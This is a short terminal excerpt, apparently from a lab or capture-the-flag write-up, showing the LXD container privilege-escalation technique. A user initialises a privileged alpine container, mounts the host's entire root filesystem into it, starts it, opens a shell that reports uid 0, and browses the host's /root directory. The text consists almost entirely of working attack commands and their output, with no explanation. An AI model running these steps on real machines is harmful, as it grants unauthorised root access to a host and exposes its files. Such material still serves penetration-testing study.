archtrmntor@operation-securenet:~$ # Use the alpine alias that exists lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc list
lxc exec privesc /bin/sh Creating privesc Device host-root added to privesc +---------+---------+------+------+-----------+-----------+ | NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS | +---------+---------+------+------+-----------+-----------+ | privesc | RUNNING | | | CONTAINER | 0 | +---------+---------+------+------+-----------+-----------+ ~ # id uid=0(root) gid=0(root) ~ # cd /mnt/root/root /mnt/root/root # ls -la
Last updated 3 months ago
Was this helpful?